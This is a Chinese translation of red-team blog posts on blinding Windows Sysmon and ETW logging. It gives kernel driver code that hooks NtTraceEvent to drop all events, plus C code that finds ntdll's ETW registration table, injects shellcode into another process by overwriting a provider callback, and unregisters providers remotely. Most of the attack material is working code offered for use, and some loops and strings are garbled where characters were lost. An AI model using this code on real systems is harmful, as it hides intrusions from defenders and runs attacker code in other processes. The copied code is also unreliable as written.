![4085d94e730df5b844f7c1a56d54d42c.png](https://i-blog.csdnimg.cn/blog_migrate/bf40762386d491355be9fef86305d7e2.png)
译文声明
本文是翻译文章,文章原作者modexp,文章来源:modexp.wordpress.com
原文地址:https://modexp.wordpress.com/2020/04/08/red-teams-etw/
译文仅供参考,具体内容表达以及含义原文为准
逃避Sysmon和ETW的通用方法
源代码 和 最新版本 均可用。 Sysmon和Windows事件日志都是极为强大的防御工具。其灵活的配置使其可以深入了解终端上进行的活动,从而使检测攻击者变得更加容易。出于这个原因,我们将一起探索如何绕过它们的整个旅程。 xpn和matterpreter已对此进行了一些出色的研究。他们的解决方案都不错,但不足以满足我对通用绕过方法的需求。Metterpreter卸载驱动程序的方法在技术上是可行的,但是卸载驱动程序会触发了很多非常明显的事件,这也是令人头疼的问题。 为了弄清楚如何绕过Sysmon和ETW,首先要了解它是如何工作的。 @dotslashroot 的文章给出了很好的思路。 现在我们知道,ETW(Windows事件跟踪)负责处理内核驱动程序的回调中捕获事件的报告,但是sysmon的用户模式进程是如何报告的呢? 启动Ghidra并运行sysmon64.exe,我们可以看到ETW使用Windows API ReportEventW 报告事件。![95adb998fe7798b1347009454541aefd.png](https://i-blog.csdnimg.cn/blog_migrate/610efdb1fb09e9ae8780f28a23b5898a.jpeg)
![cc3de8f6c5615b829262817c280f1988.png](https://i-blog.csdnimg.cn/blog_migrate/0bedba92f4478887f0ce59cdc69edded.jpeg)
![401084afa8efe98a3e0ef62e7c1866f0.png](https://i-blog.csdnimg.cn/blog_migrate/c3e0f0a4c1f1e9ca38b1940e2272c69d.jpeg)
![0b06677609be17c7951e439379050748.png](https://i-blog.csdnimg.cn/blog_migrate/14e383d5768ed29c16f9528ac328fac5.jpeg)
内核驱动程序签名强制
安全内核
NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
UNICODE_STRING drvName;
UNREFERENCED_PARAMETER(DriverObject);
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] infinityhook: Loaded.rn");
OriginalNtTraceEvent = (NtTraceEvent_t)MmGetSystemRoutineAddress(&StringNtTraceEvent);
OriginalIoCreateDriver = (IoCreateDriver_t)MmGetSystemRoutineAddress(&StringIoCreateDriver);
if (!OriginalIoCreateDriver)
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.n", StringIoCreateDriver);
return STATUS_ENTRYPOINT_NOT_FOUND;
}
if (!OriginalNtTraceEvent)
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to locate export: %wZ.n", StringNtTraceEvent);
return STATUS_ENTRYPOINT_NOT_FOUND;
}
RtlInitUnicodeString(&drvName, L"\Driver\ghostinthelogs");
status = OriginalIoCreateDriver(&drvName, &DriverInitialize);
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[+] Called OriginalIoCreateDriver status: 0x%Xn", status);
NTSTATUS Status = IfhInitialize(SyscallStub);
if (!NT_SUCCESS(Status))
{
DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_INFO_LEVEL, "[-] infinityhook: Failed to initialize with status: 0x%lx.n", Status);
}
return Status;
}
找到输出并获得有效的DriverObject后,我们可以使用InfinityHook初始化NtTraceEvent的hook函数。IfhInitialize函数执行此操作。调用IfhInitialize并给它传递指针。每次进行系统调用时都会命中此回调函数。我们给回调函数提供指向将要调用的函数地址的指针。可以访问该指针意味着我们可以将其更改为指向hook函数的地址。回调代码如下所示。
void __fastcall SyscallStub(
_In_ unsigned int SystemCallIndex,
_Inout_ void** SystemCallFunction)
{
UNREFERENCED_PARAMETER(SystemCallIndex);
if (*SystemCallFunction == OriginalNtTraceEvent)
{
*SystemCallFunction = DetourNtTraceEvent;
}
}
此代码会将每个NtTraceEvent的调用都重定向到我们的DetourNtTraceEvent。DetourNtTraceEvent的代码如下所示。
NTSTATUS DetourNtTraceEvent(
_In_ PHANDLE TraceHandle,
_In_ ULONG Flags,
_In_ ULONG FieldSize,
_In_ PVOID Fields)
{
if (HOOK_STATUS == 0)
{
return OriginalNtTraceEvent(TraceHandle, Flags, FieldSize, Fields);
}
return STATUS_SUCCESS;
}
这段代码非常简单。它将检查HOOK_STATUS(由用户模式进程通过IOCTL设置)是否为0,如果为0,则它将调用执行NtTraceEvent,从而报告事件。如果HOOK_STATUS非零,它将返回STATUS_SUCCESS 表明该事件已成功报告,当然这已经是不可能的了。如果有人能弄清楚如何解析Fields参数,从而对所报告的事件应用过滤器。
因为我想将所有驱动程序都保留为一个可执行文件,所以我将这个驱动程序嵌入到可执行文件中。当需要使用它时,它将被解压缩,然后KDU将其加载到内核中。
我不会详细介绍其余的代码,因为它主要是KDU和用户模式与驱动程序的交互,但是如果您有兴趣,可以在
这里
找到。
效果如何呢?
在我测试过的所有东西上,如果您发现它无法正常工作,或者有任何一般性的错误,请告诉我,我会尝试修复它们。另外,我不是程序员,所以我的代码将很不完美,您可以在此基础上做出更酷的修改。以下是功能示例:加载驱动程序并设置hook
![1313ddc7f2e8a85e92cafce8b797b8e4.png](https://i-blog.csdnimg.cn/blog_migrate/1e7530a107583d8462154eb6baa3ef4c.jpeg)
启用hook(禁用所有日志记录)
![ba23db5b5271bb59cd6e2deedfd1cce0.png](https://i-blog.csdnimg.cn/blog_migrate/626e0e75c19be8078fe5fe8dc795d4ea.jpeg)
获取hook的状态
![5c519617e366d0f84ae6751146133e6d.png](https://i-blog.csdnimg.cn/blog_migrate/e13c83709d0b3934e391cfc76f6db6d5.jpeg)
禁用hook(启用所有日志记录)
![73fd89388f1ddf6f68dd3cbb4723a5d2.png](https://i-blog.csdnimg.cn/blog_migrate/e1476612af1524042be7bd6e0f390f9d.jpeg)
通过ETW注册项绕过ETW的方法
1.简介
这篇blog简要介绍了Red Teams用来破坏Windows事件跟踪工具对恶意活动检测的一些技术。在内存中查找有关提供ETW程序的信息,并使用它来禁用跟踪或执行代码重定向是相对容易的。自2012年以来, wincheck 提供了列出 ETW注册信息 的选项,所以这里讨论的并不是全新的内容。除了解释ETW的工作原理和目的之外,请在 此处 参考链接列表。在这篇文章中,我从 Adam Chester 的 隐藏您的.NET – ETW 中获得了启发,这篇文章中包括了 EtwEventWrite的PoC 。还有一个名为 TamperETW 的PoC ,作者:Cornelis de Plaa。可以在 此处 找到与该帖子相关的PoC 。2.注册提供商
在较高级别的进程中,providers使用 advapi32!EventRegister API 注册,该API通常转发到 ntdll!EtwEventRegister 。该API验证参数并将其转发到 ntdll!EtwNotificationRegister 。调用方会提供唯一的一个,通常用于表示系统上注册provider的GUID、一个可选的回调函数和一个可选的回调上下文。 注册句柄是条目的内存地址与表索引左移48位的组合。之后可以将其与 EventUnregister 一起使用以禁用跟踪。我们感兴趣的主要功能是负责创建注册条目并将其存储在内存中的功能。ntdll!EtwpAllocateRegistration告诉我们该结构的大小为256个字节。读取和写入条目的函数告诉我们大多数字段的用途,如下:
typedef struct _ETW_USER_REG_ENTRY {
RTL_BALANCED_NODE RegList; // List of registration entries
ULONG64 Padding1;
GUID ProviderId; // GUID to identify Provider
PETWENABLECALLBACK Callback; // Callback function executed in response to NtControlTrace
PVOID CallbackContext; // Optional context
SRWLOCK RegLock; //
SRWLOCK NodeLock; //
HANDLE Thread; // Handle of thread for callback
HANDLE ReplyHandle; // Used to communicate with the kernel via NtTraceEvent
USHORT RegIndex; // Index in EtwpRegistrationTable
USHORT RegType; // 14th bit indicates a private
ULONG64 Unknown[19];
} ETW_USER_REG_ENTRY, *PETW_USER_REG_ENTRY;
ntdll!EtwpInsertRegistration告诉我们所有入口点的存储位置。对于Windows 10,可以在名为ntdll!EtwpRegistrationTable的全局变量中找到它们。
3.找到注册表
有许多函数引用它,但没有一个是公共函数。EtwpRemoveRegistrationFromTable
EtwpGetNextRegistration
EtwpFindRegistration
EtwpInsertRegistration
由于我们知道要在内存中查找的结构类型,因此对ntdll.dll中的.data节进行暴力搜索就足以找到它。
LPVOID etw_get_table_va(VOID) {
LPVOID m, va = NULL;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
DWORD i, cnt;
PULONG_PTR ds;
PRTL_RB_TREE rbt;
PETW_USER_REG_ENTRY re;
m = GetModuleHandle(L"ntdll.dll");
dos = (PIMAGE_DOS_HEADER)m;
nt = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);
//定位 .data 段,保存VA和指针数量
for(i=0; iFileHeader.NumberOfSections; i++) {
if(*(PDWORD)sh[i].Name == *(PDWORD)".data") {
ds = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);
break;
}
}
// 对于每一个指针减1
for(i=0; i1; i++) {
rbt = (PRTL_RB_TREE)&ds[i];
// 跳过不是堆内存的指针
if(!IsHeapPtr(rbt->Root)) continue;
// 可能是注册表
// 检查回调是否为代码
re = (PETW_USER_REG_ENTRY)rbt->Root;
if(!IsCodePtr(re->Callback)) continue;
// 保存虚拟地址并退出循环
va = &ds[i];
break;
}
return va;
}
4.解析注册表
ETW转储工具 可以在一个或多个进程的注册表中显示有关每个ETW提供程序的信息。提供程序的名称(私有提供程序除外)使用 ITraceDataProvider :: get_DisplayName 获得。此方法使用 Trace Data Helper API ,实际上API内部是通过WMI查询实现的。
Node : 00000267F0961D00
GUID : {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} (.NET Common Language Runtime)
Description : Microsoft .NET Runtime Common Language Runtime - WorkStation
Callback : 00007FFC7AB4B5D0 : clr.dll!McGenControlCallbackV2
Context : 00007FFC7B0B3130 : clr.dll!MICROSOFT_WINDOWS_DOTNETRUNTIME_PROVIDER_Context
Index : 108
Reg Handle : 006C0267F0961D00
5.代码重定向
提供程序的回调函数由内核在请求中调用,以启用或禁用跟踪。对于CLR,相关函数是clr!McGenControlCallbackV2。代码重定向是通过简单地用新回调的地址替换回调地址来实现的。当然,它必须使用相同的原型,否则一旦回调完成执行,主机进程将崩溃。我们可以使用 StartTrace 和 EnableTraceEx API 调用新的回调,并且结合 NtTraceControl 可能有更简单的方法。
//使用ETW注册入口点
BOOL etw_inject(DWORD pid, PWCHAR path, PWCHAR prov) {
RTL_RB_TREE tree;
PVOID etw, pdata, cs, callback;
HANDLE hp;
SIZE_T rd, wr;
ETW_USER_REG_ENTRY re;
PRTL_BALANCED_NODE node;
OLECHAR id[40];
TRACEHANDLE ht;
DWORD plen, bufferSize;
PWCHAR name;
PEVENT_TRACE_PROPERTIES prop;
BOOL status = FALSE;
const wchar_t etwname[]=L"etw_injection";
if(path == NULL) return FALSE;
// 尝试将shellcode读入内存
plen = readpic(path, &pdata);
if(plen == 0) {
wprintf(L"ERROR: Unable to read shellcode from %sn", path);
return FALSE;
}
// 尝试获取ETW注册表的VA
etw = etw_get_table_va();
if(etw == NULL) {
wprintf(L"ERROR: Unable to obtain address of ETW Registration Table.n");
return FALSE;
}
printf("*********************************************n");
printf("EtwpRegistrationTable for %i found at %pn", pid, etw);
//尝试打开目标进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hp == NULL) {
xstrerror(L"OpenProcess(%ld)", pid);
return FALSE;
}
// 除非指定,否则使用(Microsoft Windows用户诊断)
node = etw_get_reg(
hp,
etw,
prov != NULL ? prov : L"{305FC87B-002A-5E26-D297-60223012CA9C}",&re);
if(node != NULL) {
// 将GUID转换为字符串和显示名称
StringFromGUID2(&re.ProviderId, id, sizeof(id));
name = etw_id2name(id);
wprintf(L"Address of remote node : %pn", (PVOID)node);
wprintf(L"Using %s (%s)n", id, name);
// 为shellcode 分配内存
cs = VirtualAllocEx(
hp, NULL, plen,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if(cs != NULL) {
wprintf(L"Address of old callback : %pn", re.Callback);
wprintf(L"Address of new callback : %pn", cs);
// 写shellcode
WriteProcessMemory(hp, cs, pdata, plen, &wr);
// 初始化追踪
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) +
sizeof(etwname) + 2;
prop = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
prop->Wnode.BufferSize = bufferSize;
prop->Wnode.ClientContext = 2;
prop->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
prop->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
prop->LogFileNameOffset = 0;
prop->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
if(StartTrace(&ht, etwname, prop) == ERROR_SUCCESS) {
//保存回调
callback = re.Callback;
re.Callback = cs;
// 用shellcode地址覆盖现有入口点
WriteProcessMemory(hp,
(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),
&cs, sizeof(ULONG_PTR), &wr);
//通过启用跟踪触发shellcode的执行
if(EnableTraceEx(
&re.ProviderId, NULL, ht,
1, TRACE_LEVEL_VERBOSE,
(1 << 16), 0, 0, NULL) == ERROR_SUCCESS)
{
status = TRUE;
}
// 还原回调
WriteProcessMemory(hp,
(PBYTE)node + offsetof(ETW_USER_REG_ENTRY, Callback),
&callback, sizeof(ULONG_PTR), &wr);
// 禁用tracing
ControlTrace(ht, etwname, prop, EVENT_TRACE_CONTROL_STOP);
} else {
xstrerror(L"StartTrace");
}
LocalFree(prop);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
}
} else {
wprintf(L"ERROR: Unable to get registration entry.n");
}
CloseHandle(hp);
return status;
}
6.禁用跟踪
如果更详细地检查clr!McGenControlCallbackV2,我们将发现它会更改回调上下文中的值以启用或禁用事件跟踪。对于CLR,使用以下结构和功能。同样,对于不同版本的CLR,可以对此进行不同的定义。
typedef struct _MCGEN_TRACE_CONTEXT {
TRACEHANDLE RegistrationHandle;
TRACEHANDLE Logger;
ULONGLONG MatchAnyKeyword;
ULONGLONG MatchAllKeyword;
ULONG Flags;
ULONG IsEnabled;
UCHAR Level;
UCHAR Reserve;
USHORT EnableBitsCount;
PULONG EnableBitMask;
const ULONGLONG* EnableKeyWords;
const UCHAR* EnableLevel;
} MCGEN_TRACE_CONTEXT, *PMCGEN_TRACE_CONTEXT;
void McGenControlCallbackV2(
LPCGUID SourceId,
ULONG IsEnabled,
UCHAR Level,
ULONGLONG MatchAnyKeyword,
ULONGLONG MatchAllKeyword,
PVOID FilterData,
PMCGEN_TRACE_CONTEXT CallbackContext)
{
int cnt;
// 如果有上下文
if(CallbackContext) {
// 并且control code不为零
if(IsEnabled) {
// 启用追踪
if(IsEnabled == EVENT_CONTROL_CODE_ENABLE_PROVIDER) {
// 设置上下文
CallbackContext->MatchAnyKeyword = MatchAnyKeyword;
CallbackContext->MatchAllKeyword = MatchAllKeyword;
CallbackContext->Level = Level;
CallbackContext->IsEnabled = 1;
// ...其他代码省略...
}
} else {
// 禁用追踪
CallbackContext->IsEnabled = 0;
CallbackContext->Level = 0;
CallbackContext->MatchAnyKeyword = 0;
CallbackContext->MatchAllKeyword = 0;
if(CallbackContext->EnableBitsCount > 0) {
ZeroMemory(CallbackContext->EnableBitMask,
4 * ((CallbackContext->EnableBitsCount - 1) / 32 + 1));
}
}
EtwCallback(
SourceId, IsEnabled, Level,
MatchAnyKeyword, MatchAllKeyword,
FilterData, CallbackContext);
}
}
有许多选项可以禁用CLR日志记录,而无需修补代码。
使用EVENT_CONTROL_CODE_DISABLE_PROVIDER调用McGenControlCallbackV2。
直接修改MCGEN_TRACE_CONTEXT和ETW注册结构以防止进一步记录。
调用EventUnregister传递注册句柄。
最简单的方法是将注册句柄传递给ntdll!EtwEventUnregister。以下只是一个PoC。
BOOL etw_disable(
HANDLE hp,
PRTL_BALANCED_NODE node,
USHORT index)
{
HMODULE m;
HANDLE ht;
RtlCreateUserThread_t pRtlCreateUserThread;
CLIENT_ID cid;
NTSTATUS nt=~0UL;
REGHANDLE RegHandle;
EventUnregister_t pEtwEventUnregister;
ULONG Result;
// 获得创建新线程的API地址
m = GetModuleHandle(L"ntdll.dll");
pRtlCreateUserThread = (RtlCreateUserThread_t)
GetProcAddress(m, "RtlCreateUserThread");
// 创建注册句柄
RegHandle = (REGHANDLE)((ULONG64)node | (ULONG64)index << 48);
pEtwEventUnregister = (EventUnregister_t)GetProcAddress(m, "EtwEventUnregister");
// 在远程进程中执行payload
printf(" [ Executing EventUnregister in remote process.n");
nt = pRtlCreateUserThread(hp, NULL, FALSE, 0, NULL,
NULL, pEtwEventUnregister, (PVOID)RegHandle, &ht, &cid);
printf(" [ NTSTATUS is %lxn", nt);
WaitForSingleObject(ht, INFINITE);
// EtwEventUnregister的读取结果
GetExitCodeThread(ht, &Result);
CloseHandle(ht);
SetLastError(Result);
if(Result != ERROR_SUCCESS) {
xstrerror(L"etw_disable");
return FALSE;
}
disabled_cnt++;
return TRUE;
}
0x03 更多研究和资料
下面是更多有关ETW的文章和工具。感兴趣的童鞋可以进一步阅读。篡改Windows事件跟踪:背景,攻击和防御,作者Matt Graeber
ModuleMonitor,作者TheWover
FuzzySec的SilkETW
ETW浏览器,作者Pavel Yosifovich
EtwConsumerNT,作者Petr Benes
Endgame的ClrGuard。
检测使用.NET的恶意软件—第1部分
检测使用.NET的恶意软件—第2部分
寻找内存中的.NET攻击
使用ETW检测.NET开发的无文件C2Agent的恶意行为
让ETW变得更强大
从远程进程中枚举AppDomain
ETW日志记录,EtwEventRegister上W8消费者预览, EtwEventRegister,作者redplait
禁用用户模式下的ETW记录器
禁用当前PowerShell会话中ETW